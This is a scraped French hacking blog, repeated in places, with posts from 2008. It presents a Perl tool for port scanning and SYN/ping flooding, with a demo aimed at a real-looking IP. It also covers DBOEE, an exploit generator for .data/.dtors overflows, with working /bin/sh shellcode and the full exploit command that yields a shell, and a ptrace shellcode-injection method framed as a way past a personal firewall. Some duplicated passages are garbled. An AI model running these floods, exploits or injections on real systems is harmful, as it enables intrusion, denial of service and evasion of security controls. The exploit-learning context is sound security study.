o/ All !
Bon bah tout est dans le titre :
cette fois - ci ne sachant pas trop sur quoi bosser et , je doit l'avouer ,ayant envie de me remettre au Perl aprés tant de temp passé sur d'autre langages , je me suis mis a coder un petit tool ( incomplet mais bon c'est juste une "remise a niveau " :-P ) , histoire de me replonger dans les méandres de ce magnifique langage qu'est le Perl .
Comme dis ci-dessus , ici rien d'extraordinaire car il s'agissait surtout d'un "prétexte" pour revoir un peu le Perl .
Cependant , je compte réellement continuer a travaiiler dessus et ce , dans de vrais projets a venir , mais je n'en dirais pas plus .... ;-)
----------------->
Bon , ce tool donc - (baptisé KM-Net-tool pour kmkz network tool ) - permet entre autre de scanner (super original je sais) des ports définis par l'utilisateur sous forme de "plage" a scanner ( Port de départ et d'arrivée) tout en choisissant aussi le Time-out et le protocole a utiliser .
Il permet aussi la pratique du SYN flood en forgeant plus ou moins ses paquets :
ip de départ , ip cible , port cible , taille du paquet ; ainsi que le classique et peu utile (mais toujours intéréssant ne serait-ce que pour ce qu'on y apprend ) ping flood , largement moins paramétrable (si peu utile...) : ip cible et protocole uniquement.
Voici une ptite démo de ce code basique mais toutefois bien intéréssant a coder , surtout pour se remettre dans le bain car , je le rappelle , c'est ici mon objectif , rien de plus .
<----------------- Présentation :
[root@ KM-Net-tool]# perl KM-Net-tool.pl
Usage KM-Net-tool.pl: [-f# -S# -p# -l]
-S (Scan) /host_to_test / \Time out\ /Port to Start/ \Port to Stop\ /Protocol/
-f (SYN Flood) /Source-IP/ \Target_IP\ /Target_Port/ \Packet_size\
-p (Ping Flood) /Target-IP/ \Protocol\
-l (GNU Licence)
-----------------------------------------------------------
Contact "kmkz" for more informations.
Mail: kmkz[at]live[dot]fr.
WebSite: http://kmkz-web-blog.blogspot.com
Board: www.collective-utopia.no-ip.fr
----------------->
Démo d'un scan (SUID Root utilisé par le module RawIP) :
[root@ KM-Net-tool]# perl KM-Net-tool.pl -S 213.251.1xx.xxx 1 1 200 tcp
[+]Checking modules....
[ Module IO::Socket::INET : OK ]
[ Module Net::Ping : OK ]
[ Module Net::RawIP : OK ]
[ Module Getopt::Std : OK ]
---------------------------------------------------------
~ PING 213.251.1xx.xxx .... + Ok!
~ Localtime: Wed Oct 22 16:02:18 2008
[+] Time out : 1
[+] Starting scan port n° 1
[+] Finish scan port n° 200
[+] Protocol Selected : tcp
---------------------------------------------------------
(+) Starting Scan (using Thread) :
[+] Port 21 - tcp Open
[+] Port 22 - tcp Open
[+] Port 25 - tcp Open
[+] Port 53 - tcp Open
[+] Port 80 - tcp Open
[+] Port 110 - tcp Open
[+] Port 143 - tcp Open
Rien de bien sorcier en soit ...autre exemple : un SYN flood :
[root@ KM-Net-tool]# perl KM-Net-tool.pl -f 84.56.82.98 213.251.178.117 22 4000
[+]Checking modules....
[ Module IO::Socket::INET : OK ]
[ Module Net::Ping : OK ]
[ Module Net::RawIP : OK ]
[ Module Getopt::Std : OK ]
---------------------------------------------------------
+1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 ......
Ou chaque "+1" signifie qu'un paquet a été envoyé a la cible .
Bon on va stopper la car je pense que vous avez compris comment ce tool trés simple d'usage fonctionne , si ce n'est pas le cas , a vous de consulter l'aide fournie avec .
A bientot pour de VRAIS projet en Perl ;-) c'est promis !
<------------------------- >
Archive du projet KM-Net-tool
<------------------------->
2008/09/08
Résumer du premier 2600 Nîmois
Salut a tous !
Et bien voila , le premier meet' a bien eu lieu sur Nîmes .
Le résumé ce trouve dispo sur le forum 2600fr.org a cette adresse :
résumer 2600 Nîmes
Ce qu'on peu en dire en 2 mots c'est que ce fut un agréable moment intéréssant et riche en partage .
Nous nous sommes posé dans le "Cyber-Restaurant " le " Net m'Eating " , ou nous avons pu bidouiller un peu le tout en étant bien confortablement installé ( voir résumé pour plus d'infos).
net m' eating
J'espere tout de meme y voir un peu plus de monde dans les mois a venir mais chaque choses en son temp .
Si certain sont intéréssés , n'hésitez pas a me contacter pour avoir plus d'infos .
merci a tous .
Et bien voila , le premier meet' a bien eu lieu sur Nîmes .
Le résumé ce trouve dispo sur le forum 2600fr.org a cette adresse :
résumer 2600 Nîmes
Ce qu'on peu en dire en 2 mots c'est que ce fut un agréable moment intéréssant et riche en partage .
Nous nous sommes posé dans le "Cyber-Restaurant " le " Net m'Eating " , ou nous avons pu bidouiller un peu le tout en étant bien confortablement installé ( voir résumé pour plus d'infos).
net m' eating
J'espere tout de meme y voir un peu plus de monde dans les mois a venir mais chaque choses en son temp .
Si certain sont intéréssés , n'hésitez pas a me contacter pour avoir plus d'infos .
merci a tous .
2008/08/23
.Data Overflow et utilisation de "DBOEE" pour générer l'exploit approprié et exploiter
Salut a tous et a toutes .
Dans ce nouveau billet , je compte vous présenter mon projet baptisé "DBOEE" (Data-Based-Overflow Easy Exploitation) dans sa version "beta" si on peu dire .
Mais en quoi cela consiste -il ?
En fait , ce billet sera ici un complément du précédent concernant les .Data Overflows .
Le précédent billet m'a valut un commentaire de la part de quelqu'un ( il se reconnaitra j'espere ;-)) que j'admire me demandant "pourquoi tu n'as pas coder l'exploit qui va avec ?" .
Cette question a pour réponse : pas envie de coder un exploit pour un vuln.c ( pas trés utile en soit) .
Mais en y réfléchissant , pourquoi ne pas coder un programme qui , non seulement serait un exploit pour ce vuln.c, mais aussi serait adaptable a d'autres .Data Overflow ?
De la est né le projet DBOEE ayant pour objectif ( dans la version beta tout du moins ) ,la possibilité de s'adapter a d'autre situations afin de pouvoir facilement exploiter et au passage générer l'exploit associé .
Concrètement DBOEE vous demandera un shellcode (fournis au cas ou ..) , le nombre d'octets entre le buffer et la section DTORS a écraser ( j'automatiserais ça par la suite ) ainsi que la cible .
Concernant le nombre d'octets , le programme le calcule en déduisant la taille du shellcode de façon a faciliter cette opération .
Une fois l'exploit créé , il est sauvergardé dans le fichier Exploit.txt puis exploite le programme vulnérable.
Voila pour la présentation du projet DBOEE qui n'en ait ici qu'a ses débuts ( voir readme joint a l'archive).
Place au test :
[kmkz@localhost Fuzzer_Data-overflow]$ ./DBOEE
----------------------------
- Data-Based-Overflow Easy Exploitation -
----------------------------
[+]Programm :
-Devellopped by kmkz(c)
-Compilation :gcc -o DBOEE DBOEE.c
[+]Author's informations :
kmkz's web sites -> http://kmkz-web-blog.blogspot.com & www.collective-utopia.no-ip.fr
[+]This programm has been coded for makes easier the Data based Overflow exploitation.
You just have to give a shellcode(reached) , numbers of Bytes and the target name . DBOEE calculate the payload, exploit program and create feat ,nice isn't it.?
[~]This is my first real projet in C language and Beta version also I hold has excuse me for essential lack
---------------------------****************---------------------------
---------------------------STARTING PROGRAM---------------------------
[*] Enter Adress Return :
"\x60\x95\x04\x08"
[*] Enter your shellcode :
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"
---------------------------Starting Exploitation---------------------------
[~]Program Running......
[~] check on the ongoing shellcode...
- Shellcode maximum Size : 1000
- Shellcode character -> 73
- Shellcode size (octets) -> 18
---------------------------Shellcode Created---------------------------
[*] enter the number of 'A' (octets) necessary for Overflow exploitation :
272
---------------------------Shellcode Created---------------------------
[~]Generating Payload....
(+)[Your Payload is] -->
272 x 'A' [your shellcode]
(+) subtraction of the shellcode bytes ...
[*] Payload generated is : printf 254 x 'A' [shellcode]
---------------------------Payload Created---------------------------
[~] Give me a target (example-> ./vuln)
./vuvu
-Target programm is -> ./vuvu
---------------------------Generating Exploit File---------------------------
[#] Creating Exploit File ....
[#]Exploit.txt : success !
[+] Sending payload...
------------ Result ------------
sh-3.2$
-----------------------------------------------------------------------------------------------------------------------------------------------------------
-Contenu du Fichier Exploit.txt -
-----------------------------------------------------------------------------------------------------------------------------------------------------------
`printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
-----------------------------------------------------------------------------------------------------------------------------------------------------------
Comme on peu le constater , l'exploit généré correspond en tout points a celui obtenu lors du billet précédent.
-----
Archive du projet DBOEE
-----
Voila , le source est un peu (beaucoup ) plus présentable désormais grace a la participation de m_101 (que je remercie au passage ).
Pour plus d'infos , consulter le "readme" inclu a l'archive.
A trés bientot et merci a tous \o !
ps2: Retrouver l'appel a participation au projet sur le forum
Collective-Utopia
Dans ce nouveau billet , je compte vous présenter mon projet baptisé "DBOEE" (Data-Based-Overflow Easy Exploitation) dans sa version "beta" si on peu dire .
Mais en quoi cela consiste -il ?
En fait , ce billet sera ici un complément du précédent concernant les .Data Overflows .
Le précédent billet m'a valut un commentaire de la part de quelqu'un ( il se reconnaitra j'espere ;-)) que j'admire me demandant "pourquoi tu n'as pas coder l'exploit qui va avec ?" .
Cette question a pour réponse : pas envie de coder un exploit pour un vuln.c ( pas trés utile en soit) .
Mais en y réfléchissant , pourquoi ne pas coder un programme qui , non seulement serait un exploit pour ce vuln.c, mais aussi serait adaptable a d'autres .Data Overflow ?
De la est né le projet DBOEE ayant pour objectif ( dans la version beta tout du moins ) ,la possibilité de s'adapter a d'autre situations afin de pouvoir facilement exploiter et au passage générer l'exploit associé .
Concrètement DBOEE vous demandera un shellcode (fournis au cas ou ..) , le nombre d'octets entre le buffer et la section DTORS a écraser ( j'automatiserais ça par la suite ) ainsi que la cible .
Concernant le nombre d'octets , le programme le calcule en déduisant la taille du shellcode de façon a faciliter cette opération .
Une fois l'exploit créé , il est sauvergardé dans le fichier Exploit.txt puis exploite le programme vulnérable.
Voila pour la présentation du projet DBOEE qui n'en ait ici qu'a ses débuts ( voir readme joint a l'archive).
Place au test :
[kmkz@localhost Fuzzer_Data-overflow]$ ./DBOEE
----------------------------
- Data-Based-Overflow Easy Exploitation -
----------------------------
[+]Programm :
-Devellopped by kmkz(c)
-Compilation :gcc -o DBOEE DBOEE.c
[+]Author's informations :
kmkz's web sites -> http://kmkz-web-blog.blogspot.com & www.collective-utopia.no-ip.fr
[+]This programm has been coded for makes easier the Data based Overflow exploitation.
You just have to give a shellcode(reached) , numbers of Bytes and the target name . DBOEE calculate the payload, exploit program and create feat ,nice isn't it.?
[~]This is my first real projet in C language and Beta version also I hold has excuse me for essential lack
---------------------------****************---------------------------
---------------------------STARTING PROGRAM---------------------------
[*] Enter Adress Return :
"\x60\x95\x04\x08"
[*] Enter your shellcode :
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"
---------------------------Starting Exploitation---------------------------
[~]Program Running......
[~] check on the ongoing shellcode...
- Shellcode maximum Size : 1000
- Shellcode character -> 73
- Shellcode size (octets) -> 18
---------------------------Shellcode Created---------------------------
[*] enter the number of 'A' (octets) necessary for Overflow exploitation :
272
---------------------------Shellcode Created---------------------------
[~]Generating Payload....
(+)[Your Payload is] -->
272 x 'A' [your shellcode]
(+) subtraction of the shellcode bytes ...
[*] Payload generated is : printf 254 x 'A' [shellcode]
---------------------------Payload Created---------------------------
[~] Give me a target (example-> ./vuln)
./vuvu
-Target programm is -> ./vuvu
---------------------------Generating Exploit File---------------------------
[#] Creating Exploit File ....
[#]Exploit.txt : success !
[+] Sending payload...
------------ Result ------------
sh-3.2$
-----------------------------------------------------------------------------------------------------------------------------------------------------------
-Contenu du Fichier Exploit.txt -
-----------------------------------------------------------------------------------------------------------------------------------------------------------
`printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
-----------------------------------------------------------------------------------------------------------------------------------------------------------
Comme on peu le constater , l'exploit généré correspond en tout points a celui obtenu lors du billet précédent.
-----
Archive du projet DBOEE
-----
Voila , le source est un peu (beaucoup ) plus présentable désormais grace a la participation de m_101 (que je remercie au passage ).
Pour plus d'infos , consulter le "readme" inclu a l'archive.
A trés bientot et merci a tous \o !
ps2: Retrouver l'appel a participation au projet sur le forum
Collective-Utopia
2008/08/09
.Data Section overflow
Hello World !
Me revoila pour un petit billet (probablement un des derniers de l'été /o\ mais pas le dernier de ce blog , loin de la ;-) !
Alors , étant un peu a court d'idées mais ayant besoin de travailler sur quelque chose d'assez concret/intéréssant , je me suis dis "pourquoi pas un article sur les Data overflow?" .
Cet article montrera uniqueme les notions de bases qui seront approfondie par la suite dans d'autres articles a venir .
|------------ Environnement -----------|
Il reste inchangé , cependant il est bon de le rappeller :
Linux Free 2.6.22.19-desktop-2mdv 2008 - GNU/Linux
i686 Intel(R) Pentium(R) 4 CPU 2.93GHz
|------------ Environnement -----------|
Les Data Overflow sont donc des Buffers Overflow se situants donc dans la section .Data (logique ,non..?) .
Contrairement aux Stack Overflow , nous n'allons pas chercher a "écraser" la pile mais bel et bien une autre Section mémoire .
Commençons la pratique :
Tout d'abord regardons l'organisation des sections de notre programme vulnérable (fourni en fin d'article) :
[kmkz@localhost Data_overflow]$ size -A -x vuvu // Simpa le nom
bss2 :
section size addr
.interp 0x13 0x8048114
.note.ABI-tag 0x20 0x8048128
.gnu.hash 0x20 0x8048148
.dynsym 0x50 0x8048168
.dynstr 0x4c 0x80481b8
.gnu.version 0xa 0x8048204
.gnu.version_r 0x20 0x8048210
.rel.dyn 0x8 0x8048230
.rel.plt 0x18 0x8048238
.init 0x30 0x8048250
.plt 0x40 0x8048280
.text 0x15c 0x80482c0
.fini 0x1c 0x804841c
.rodata 0x8 0x8048438
.eh_frame 0x4 0x8048440
.ctors 0x8 0x8049444 ---> constructor
.dtors 0x8 0x804944c ---> destructor
.jcr 0x4 0x8049454
.dynamic 0xc8 0x8049458
.got 0x4 0x8049520
.got.plt 0x18 0x8049524
.data 0x120 0x8049540 ---> Section .Data contenant le buffer vulnérable
.bss 0x4 0x8049660
.comment 0x177 0x0
.debug_aranges 0x50 0x0
.debug_pubnames 0x25 0x0
.debug_info 0x1cd 0x0
.debug_abbrev 0x6f 0x0
.debug_line 0x147 0x0
.debug_str 0xcf 0x0
.debug_ranges 0x40 0x0
Total 0xbc7
Vous remarquez 2 sections appellées Dtors et Ctors ( Constructor & Destructor).
Il s'agit de 2 sections présentes dans un fichier de format ELF qui sont deux attributs du
compilateurs gcc.
Elles permettent l’exécution de fonctions avant l’appel à la fonction
main() et avant le dernier exit() du programme .
( c'est a dire qu'elle le construisent et le détruisent a la fin ).
Ainsi, en faisant déborder le buffer vulnérable de la section .data nous
arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre
programme.
---------------------------------->
Organisation des Ctors et Dtors:
0xffffffff . . . 0x00000000
<----------------------------------
Meme lorsque ces 2 fonctions se trouvent etre vides , elle sont tout de meme présentes en mémoire .
Dans vuvu.c , la section .dtors est justement vide :
---------------------------------->
[kmkz@localhost Data_overflow]$ objdump -s -j .dtors vuvu
bss2: file format elf32-i386
Contents of section .dtors:
804944c ffffffff 00000000
<---------------------------------- Prenons maintenant les renseignement qui seront nécéssaire a la réalisation de ce petit exploit :
---------------------------------->
(gdb) disas main
Dump of assembler code for function main:
0x08048344: lea 0x4(%esp),%ecx
0x08048348: and $0xfffffff0,%esp
0x0804834b: pushl 0xfffffffc(%ecx)
0x0804834e: push %ebp
0x0804834f: mov %esp,%ebp
0x08048351: push %ecx
0x08048352: sub $0x14,%esp
0x08048355: mov 0x4(%ecx),%eax
0x08048358: add $0x4,%eax
0x0804835b: mov (%eax),%eax
0x0804835d: mov %eax,0x4(%esp)
0x08048361: movl $0x8049560,(%esp)
0x08048368: call 0x80482b0
0x0804836d: add $0x14,%esp
0x08048370: pop %ecx
0x08048371: pop %ebp
0x08048372: lea 0xfffffffc(%ecx),%esp
0x08048375: ret
End of assembler dump.
---------------------------
Adresse de notre buffer :
(gdb) p & buf
$1 = ( *) 0x8049560
--------------------------
Adresse de la section Dtors:
(gdb) mai i section
Exec file:
`/home/kmkz/Bureau/C/TRAVAUX_hacking/Data_overflow/vuvu',
file type elf32-i386.
.....
0x08049444->0x0804944c at 0x00000444: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x0804944c->0x08049454 at 0x0000044c: .dtors ALLOC LOAD DATA HAS_CONTENTS
.....
0x08049660->0x08049664 at 0x00000660: .bss ALLOC
.....
-------------------------
(gdb) x/2 0x0804944c
0x804944c <__dtor_list__>: 0xffffffff 0x00000000
Ça rappelle pas un truc ça ...?
Revoila notre Section Dtors bien vide comme vu précédemment.
-------------------------
(gdb) p (0x804944c+4) - 0x8049560
$2 = 272
<----------------------------------
Nous avons donc nombre d’octets
depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les
informations pour exploiter notre programme.
On utilisera ici un shellcode de 18 Octets soit le calcul suivant :
272-18=254
Buffer :0x8049560
donc en little endian :
\x60\x95\x04\x08
Reste plus qu'a rassembler les infos pour créer notre exploit :
[kmkz@localhost Data_overflow]$ ./vuvu `printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
sh-3.2$
On vois ici l'un des avantages de cette méthode : Nous n'avons eu besoin que de programmes classique (objdump/gdb) pour récupérer ce dont nous avions besoin ; mais il faut pour cela un binaire "readable" (ce qui n'est pas toujour le cas .
Parcontre , du coup , pour que Notre shellcode s'exécute il nous faudra attendre la fin du programme (appel a exit() donc au destructeur ) contrairement a une exploitation qui se déroulerait sur la pile .
Et , rappellez-vous au sujet des Ctors et Dtors : ce sont deux attributs du
compilateurs gcc comme on l'a dit plus haut .
En tant que tel il est aussi nécéssaire que le programme vulnérable ait été compilé avec !
Voila , reste plus qu'a vous fournir les sources e ta vous souhaiter plein de bonnes choses ;-) .
A trés bientot pour de nouvelles aventures :'-) .
---------------------------------->
Programme vulnérable
Proof of concept (pl)
Et comme l'été on s'ennui :
Proof of concept (c)
<---------------------------------- See you .... o/
Me revoila pour un petit billet (probablement un des derniers de l'été /o\ mais pas le dernier de ce blog , loin de la ;-) !
Alors , étant un peu a court d'idées mais ayant besoin de travailler sur quelque chose d'assez concret/intéréssant , je me suis dis "pourquoi pas un article sur les Data overflow?" .
Cet article montrera uniqueme les notions de bases qui seront approfondie par la suite dans d'autres articles a venir .
|------------ Environnement -----------|
Il reste inchangé , cependant il est bon de le rappeller :
Linux Free 2.6.22.19-desktop-2mdv 2008 - GNU/Linux
i686 Intel(R) Pentium(R) 4 CPU 2.93GHz
|------------ Environnement -----------|
Les Data Overflow sont donc des Buffers Overflow se situants donc dans la section .Data (logique ,non..?) .
Contrairement aux Stack Overflow , nous n'allons pas chercher a "écraser" la pile mais bel et bien une autre Section mémoire .
Commençons la pratique :
Tout d'abord regardons l'organisation des sections de notre programme vulnérable (fourni en fin d'article) :
[kmkz@localhost Data_overflow]$ size -A -x vuvu // Simpa le nom
bss2 :
section size addr
.interp 0x13 0x8048114
.note.ABI-tag 0x20 0x8048128
.gnu.hash 0x20 0x8048148
.dynsym 0x50 0x8048168
.dynstr 0x4c 0x80481b8
.gnu.version 0xa 0x8048204
.gnu.version_r 0x20 0x8048210
.rel.dyn 0x8 0x8048230
.rel.plt 0x18 0x8048238
.init 0x30 0x8048250
.plt 0x40 0x8048280
.text 0x15c 0x80482c0
.fini 0x1c 0x804841c
.rodata 0x8 0x8048438
.eh_frame 0x4 0x8048440
.ctors 0x8 0x8049444 ---> constructor
.dtors 0x8 0x804944c ---> destructor
.jcr 0x4 0x8049454
.dynamic 0xc8 0x8049458
.got 0x4 0x8049520
.got.plt 0x18 0x8049524
.data 0x120 0x8049540 ---> Section .Data contenant le buffer vulnérable
.bss 0x4 0x8049660
.comment 0x177 0x0
.debug_aranges 0x50 0x0
.debug_pubnames 0x25 0x0
.debug_info 0x1cd 0x0
.debug_abbrev 0x6f 0x0
.debug_line 0x147 0x0
.debug_str 0xcf 0x0
.debug_ranges 0x40 0x0
Total 0xbc7
Vous remarquez 2 sections appellées Dtors et Ctors ( Constructor & Destructor).
Il s'agit de 2 sections présentes dans un fichier de format ELF qui sont deux attributs du
compilateurs gcc.
Elles permettent l’exécution de fonctions avant l’appel à la fonction
main() et avant le dernier exit() du programme .
( c'est a dire qu'elle le construisent et le détruisent a la fin ).
Ainsi, en faisant déborder le buffer vulnérable de la section .data nous
arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre
programme.
---------------------------------->
Organisation des Ctors et Dtors:
0xffffffff
<----------------------------------
Meme lorsque ces 2 fonctions se trouvent etre vides , elle sont tout de meme présentes en mémoire .
Dans vuvu.c , la section .dtors est justement vide :
---------------------------------->
[kmkz@localhost Data_overflow]$ objdump -s -j .dtors vuvu
bss2: file format elf32-i386
Contents of section .dtors:
804944c ffffffff 00000000
<---------------------------------- Prenons maintenant les renseignement qui seront nécéssaire a la réalisation de ce petit exploit :
---------------------------------->
(gdb) disas main
Dump of assembler code for function main:
0x08048344
0x08048348
0x0804834b
0x0804834e
0x0804834f
0x08048351
0x08048352
0x08048355
0x08048358
0x0804835b
0x0804835d
0x08048361
0x08048368
0x0804836d
0x08048370
0x08048371
0x08048372
0x08048375
End of assembler dump.
---------------------------
Adresse de notre buffer :
(gdb) p & buf
$1 = ( *) 0x8049560
--------------------------
Adresse de la section Dtors:
(gdb) mai i section
Exec file:
`/home/kmkz/Bureau/C/TRAVAUX_hacking/Data_overflow/vuvu',
file type elf32-i386.
.....
0x08049444->0x0804944c at 0x00000444: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x0804944c->0x08049454 at 0x0000044c: .dtors ALLOC LOAD DATA HAS_CONTENTS
.....
0x08049660->0x08049664 at 0x00000660: .bss ALLOC
.....
-------------------------
(gdb) x/2 0x0804944c
0x804944c <__dtor_list__>: 0xffffffff 0x00000000
Ça rappelle pas un truc ça ...?
Revoila notre Section Dtors bien vide comme vu précédemment.
-------------------------
(gdb) p (0x804944c+4) - 0x8049560
$2 = 272
<----------------------------------
Nous avons donc nombre d’octets
depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les
informations pour exploiter notre programme.
On utilisera ici un shellcode de 18 Octets soit le calcul suivant :
272-18=254
Buffer :0x8049560
donc en little endian :
\x60\x95\x04\x08
Reste plus qu'a rassembler les infos pour créer notre exploit :
[kmkz@localhost Data_overflow]$ ./vuvu `printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
sh-3.2$
On vois ici l'un des avantages de cette méthode : Nous n'avons eu besoin que de programmes classique (objdump/gdb) pour récupérer ce dont nous avions besoin ; mais il faut pour cela un binaire "readable" (ce qui n'est pas toujour le cas .
Parcontre , du coup , pour que Notre shellcode s'exécute il nous faudra attendre la fin du programme (appel a exit() donc au destructeur ) contrairement a une exploitation qui se déroulerait sur la pile .
Et , rappellez-vous au sujet des Ctors et Dtors : ce sont deux attributs du
compilateurs gcc comme on l'a dit plus haut .
En tant que tel il est aussi nécéssaire que le programme vulnérable ait été compilé avec !
Voila , reste plus qu'a vous fournir les sources e ta vous souhaiter plein de bonnes choses ;-) .
A trés bientot pour de nouvelles aventures :'-) .
---------------------------------->
Programme vulnérable
Proof of concept (pl)
Et comme l'été on s'ennui :
Proof of concept (c)
<---------------------------------- See you .... o/
2008/07/20
Principes et mise en oeuvre d'un injection de code dans un processus en cours via le syscall PTRACE()
Yop all o/ !
Comme vous l'aurez sans doute compris dans le titre , cet article va traiter (pas trés original comme sujet j'en conviens) des injections de Shellcode dans un processus actif grace au syscall Ptrace() .
Commençons donc par une petite explication et mise en situation :
<--------------------------------------------->
Avant tout un petit mot sur l'environnement de test utilisé ici :
# uname -a
Linux localhost 2.6.22.19-desktop-2mdv #1 SMP Mon May 5 20:55:05 EDT 2008 i686 Intel(R) Pentium(R) 4 CPU 2.93GHz GNU/Linux
Le tout sans aucune modifications ,attention toutefois car il est ici nécéssaire de posséder une pile exécutable ( on joue encore une fois avec la stack ) bien qu'en y réfléchissant longuement , il peu etre possible de l'adapté sur n'importe quel OS ( d'aprés ce que j'ai pu lire sur phrack ;-) ) .
<--------------------------------------------->
-Il faut savoir que ce type d'injection est souvent utilisée par les codes malveillants afin de contourner les sécuritées mise en place sur une machine .
exemple :
Imaginons un poste de travail "sécurisé " par un firewall personnel ; en général ces programmes ont pour but de filtrer/bloquer l'accés au net pour certaines applications.
Cependant , supposons que nous voulions compromettre cette machine et faire en sorte d'obtenir un accés sortant (on peu tout aussi bien vouloir faire autre chose , mais ceci est a titre d'exemple hein ;-) ) , dans ce cas comment vas-t-on s'y prendre ..?
Sachant qu'au minimum le navigateur doit posséder un accés sortant , nous allons donc injecter notre shellcode dans la mémoire utilisée par ce processus puis faire en sorte qu'il poursuive son activité , comme si de rien n'était .
De cette façon nous pouvons utiliser les droits du navigateur et,donc avoir un accés sortant sans etre inquiété !
Pour cela il sera donc nécessaire de ne pas tuer le processus en fesant donc en sorte qu'une fois le pointeur EIP pointe sur le shellcode , l'exécute puis se replace (POP / RET) de façon a reprendre l'exécution du processus cible.
Etapes a suivre :
1- S'attacher au processus ciblé (PTRACE_ATTACH)
2-Attendre qu'il stoppe (WAITPID)
3-Récupération des registres utilisés par ce process(PTRACE_GETREGS)
4-Copie du Shellcode dans la stack (PTRACE_POKEDATA)
5-Redirection du pointeur vers le début de nore Shellcode (PTRACE_SETREGS)
6-Se détacher (PTRACE_DETACH)
Néanmoins,, il se peut que le processus ait été interrompu par le ptrace (PTRACE_ATTACH) alors qu’il exécuté un appel système.
Dans ce cas, le noyau décide de remettre l’ex écution a l’endroit ou elle a été interrompue, c’est-a-dire l’appel système. Sous Linux pour x86, un appel système est déclenché́ par l’instruction int 0x80, codée sur 2 octets.
Avant de rendre la main au processus, le noyau modifie donc le registre eip, en lui enlevant 2 octets. Or, nous ne souhaitons pas que l’exé́cution reprenne la ou ne se trouve pas notre shellcode!
Pour compenser cela, on ajoutera 2 Nops (\x90) au début du shellcode (et on oublira pas de modifier la valeur dans la boucle au passage sinon elle n'enverra pas tout le shellcode ).
Voila, on peu désormais passer a la pratique .Dans un premier temps je détaillerais donc les différentes étapes , puis je vous donnerais le code "Shell_inj" (Shellcode injector quoi -_- ) .
(Ce code est déja suffisemment commenté pour vous permettre de le comprendre facilement)
-- Nous allons , dans l'exemple suivant , injecter un dangereux shellcode (Hello , world! :-) ) dans un processus cible (ici bash sera la cible) -
On commence par récupérer son PID:
[kmkz@localhost Bureau]$ ps aux
Ce qui donnera un listing assez long (top pour etre mis ici en entier en tout cas ) .
Nous , on s'intéressera donc a ça :
kmkz 7178 0.3 0.1 4324 1920 pts/0 Ss+ 10:58 0:00 bash
Bon , on a le PID reste plus qu'a s'amuser now ! \o/
Je suppose que vous savez déja utiliser Gcc et donc ne reviendrais pas la dessus ..
Lançons le programme Shell_inj en lui passant en argument notre PID et voyons ce qui se passe :
[kmkz@localhost Bureau]$ ./inj 7178
[+] Attente d'attachement au processus 7178 ...
[+] Attachement au processus : réussi
[+] Lecture des registres:
-eip: 0xffffe410
-esp: 0xbfe478d8
[+] Shellcode copié en esp:0xbfe468d8
[+] Redirection d'eip vers le shellcode :0xbfe468da
[+] Détachement du processus 7178
[+] Injection Terminée !
Hello,World !
Bingo, notre "hello world" est bien la , en chair et en os (enfin si on veux quoi ^_^).
C'est a vous de jouer maintenant : vous savez détourner un processus en y injectant un shellcode pour en faire ce que vous voulez alors ....
___
*Here's the Shell_inj source code:
Shell_inj.c
Have Fun !
Remerciements a l'équipe de "blacks clowns" pour son article sans lequel j'aurai mis des mois avant de percuter comment m'y prendre ^^ ainsi qu'a l'équipe de dg-sc pour phrack et ses tutos de 1er choix !
Comme vous l'aurez sans doute compris dans le titre , cet article va traiter (pas trés original comme sujet j'en conviens) des injections de Shellcode dans un processus actif grace au syscall Ptrace() .
Commençons donc par une petite explication et mise en situation :
<--------------------------------------------->
Avant tout un petit mot sur l'environnement de test utilisé ici :
# uname -a
Linux localhost 2.6.22.19-desktop-2mdv #1 SMP Mon May 5 20:55:05 EDT 2008 i686 Intel(R) Pentium(R) 4 CPU 2.93GHz GNU/Linux
Le tout sans aucune modifications ,attention toutefois car il est ici nécéssaire de posséder une pile exécutable ( on joue encore une fois avec la stack ) bien qu'en y réfléchissant longuement , il peu etre possible de l'adapté sur n'importe quel OS ( d'aprés ce que j'ai pu lire sur phrack ;-) ) .
<--------------------------------------------->
-Il faut savoir que ce type d'injection est souvent utilisée par les codes malveillants afin de contourner les sécuritées mise en place sur une machine .
exemple :
Imaginons un poste de travail "sécurisé " par un firewall personnel ; en général ces programmes ont pour but de filtrer/bloquer l'accés au net pour certaines applications.
Cependant , supposons que nous voulions compromettre cette machine et faire en sorte d'obtenir un accés sortant (on peu tout aussi bien vouloir faire autre chose , mais ceci est a titre d'exemple hein ;-) ) , dans ce cas comment vas-t-on s'y prendre ..?
Sachant qu'au minimum le navigateur doit posséder un accés sortant , nous allons donc injecter notre shellcode dans la mémoire utilisée par ce processus puis faire en sorte qu'il poursuive son activité , comme si de rien n'était .
De cette façon nous pouvons utiliser les droits du navigateur et,donc avoir un accés sortant sans etre inquiété !
Pour cela il sera donc nécessaire de ne pas tuer le processus en fesant donc en sorte qu'une fois le pointeur EIP pointe sur le shellcode , l'exécute puis se replace (POP / RET) de façon a reprendre l'exécution du processus cible.
Etapes a suivre :
1- S'attacher au processus ciblé (PTRACE_ATTACH)
2-Attendre qu'il stoppe (WAITPID)
3-Récupération des registres utilisés par ce process(PTRACE_GETREGS)
4-Copie du Shellcode dans la stack (PTRACE_POKEDATA)
5-Redirection du pointeur vers le début de nore Shellcode (PTRACE_SETREGS)
6-Se détacher (PTRACE_DETACH)
